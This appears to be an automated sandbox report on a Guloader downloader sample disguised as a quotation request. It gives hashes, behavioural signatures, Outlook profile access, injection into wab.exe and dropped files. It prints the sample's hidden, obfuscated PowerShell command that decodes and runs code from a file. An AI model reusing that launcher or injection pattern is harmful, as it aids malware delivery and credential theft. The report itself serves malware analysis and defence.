Analysis
- max time kernel
144s - max time network
141s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
25/03/2024, 12:31
Static task
static1
Behavioral task
behavioral1
Sample
Request For Quotation Details_Ref.exe
Resource
win7-20240221-en
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
Request For Quotation Details_Ref.exe
Resource
win10v2004-20240226-en
14 signatures
150 seconds
Behavioral task
behavioral3
Sample
fangelejre/Syrnes/Lnforbedringens/Hjertensgodes.ps1
Resource
win7-20240221-en
9 signatures
150 seconds
Behavioral task
behavioral4
Sample
fangelejre/Syrnes/Lnforbedringens/Hjertensgodes.ps1
Resource
win10v2004-20240226-en
12 signatures
150 seconds
General
- Target Request For Quotation Details_Ref.exe
- Size 949KB
- Sample240325-pp46jaae5w
- SHA256 b67c5941b8a82c44ee8c876e53fc0435d8d5653491b6c61ef0ec5ee92bbfbed0
- MD5 f744b39f06cad577364eff72186e0626
- SHA1 a2e04a36a215a5a90838965126b5e0b8baa7cf88
- SHA512 7adc81defb1397a665f7511e04224b81b5a8cabbab5ede049ba20f8113998307f146ef2031f723a5dca5592f51794d935fcaddff3a33deb58743521749a69e8d
- SSDEEP 24576:pbZCmf67FtuZFX3KJQghsUyj6/onNd5gWrotUF3y:R3f67FtuZB3oQyCG/otrfF3y
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 5 drive.google.com 3 drive.google.com - Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 2396 wab.exe 2396 wab.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2832 powershell.exe 2396 wab.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2832 set thread context of 2396 2832 powershell.exe 32 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe 2832 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2832 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2832 powershell.exe Token: SeDebugPrivilege 2396 wab.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2664 wrote to memory of 2832 2664 Request For Quotation Details_Ref.exe 28 PID 2664 wrote to memory of 2832 2664 Request For Quotation Details_Ref.exe 28 PID 2664 wrote to memory of 2832 2664 Request For Quotation Details_Ref.exe 28 PID 2664 wrote to memory of 2832 2664 Request For Quotation Details_Ref.exe 28 PID 2832 wrote to memory of 2288 2832 powershell.exe 30 PID 2832 wrote to memory of 2288 2832 powershell.exe 30 PID 2832 wrote to memory of 2288 2832 powershell.exe 30 PID 2832 wrote to memory of 2288 2832 powershell.exe 30 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 PID 2832 wrote to memory of 2396 2832 powershell.exe 32 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Request For Quotation Details_Ref.exe"C:\Users\Admin\AppData\Local\Temp\Request For Quotation Details_Ref.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Madrasser=Get-Content 'C:\Users\Admin\AppData\Local\butikstiders\Sjunger\fangelejre\Syrnes\Lnforbedringens\Hjertensgodes.Nim';$Trafikunderlag=$Madrasser.SubString(60932,3);.$Trafikunderlag($Madrasser)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:2288
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2396
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\butikstiders\Sjunger\Ndringstabel183.Azo
- Size 317KB
- SHA256 33ee12be53ca961315fffc0abc014f2483c29feb8fa4676596dc16a3451664a1
- MD5 a39aba64bea9e201838330208bd48c06
- SHA1 e951f526f42064f7bf8f6594709d8ae54ccb9650
- SHA512 70b71dc226e51d3445e9612e2d14b508563acaddb8b7f0299bb6a8281507b48ebb918339728a574d605a1f612b115d4ddfd51f1678366471db818986ba04720e
- SSDEEP 6144:Ybjxv+YzETQ5bJwltFLkbnld2N8sogY5Fk1Gqq1vKTdMQL:+tzuDEqoZF+av8lL
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\butikstiders\Sjunger\fangelejre\Syrnes\Lnforbedringens\Hjertensgodes.Nim
- Size 59KB
- SHA256 f817a40978e642e98d2c41c967c651051414291fa729ff3618a8c12638cf566c
- MD5 41e3b6d1e5367b938531916ca78dfe24
- SHA1 cbc36b0e630f0d739ac22e3f031e047f0e42c318
- SHA512 3d16bb14f411c9008219036e749556dfc184b7801d61733891a56f4adf43397b1bb325340fdb500b9eecb9abd05f8483e447d795d7f09044d58202c778d5e2fa
- SSDEEP 1536:z8LaJc+6OR8+SgyMR+6ZpRD4mhanfZMjfnaeLCYxl:gLcctORzSgzRvVD45ZUzLf
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1298544033-3225604241-2703760938-1000\0f5007522459c86e95ffcc62f32308f1_e3fd1d67-4513-4809-a7f1-bf54bd53bdbc
- Size 46B
- SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
- MD5 d898504a722bff1524134c6ab6a5eaa5
- SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
- SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1298544033-3225604241-2703760938-1000\0f5007522459c86e95ffcc62f32308f1_e3fd1d67-4513-4809-a7f1-bf54bd53bdbc
- Size 46B
- SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
- MD5 c07225d4e7d01d31042965f048728a0a
- SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
- SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
- MD5 SHA1 SHA512